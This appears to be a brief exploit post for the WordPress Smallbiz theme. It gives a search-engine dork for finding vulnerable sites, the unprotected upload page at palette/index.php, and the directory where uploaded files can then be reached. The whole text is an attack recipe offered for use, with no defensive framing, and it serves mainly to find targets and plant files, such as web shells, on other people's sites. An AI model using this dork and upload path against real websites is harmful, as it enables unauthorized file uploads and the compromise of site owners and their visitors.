Wordpress Smallbiz Themes Remote File Uploads

Dork   ;
 inurl:"/wp-content/themes/smallbiz/"

Exploit   ;
 /wp-content/themes/smallbiz/palette/index.php

Vuln ?   ;   Color Scheme Assistant

And Upload Your Images   ;)

Success ?
localhost /wp-content/themes/smallbiz/palette/images/Url-Image

Thanks!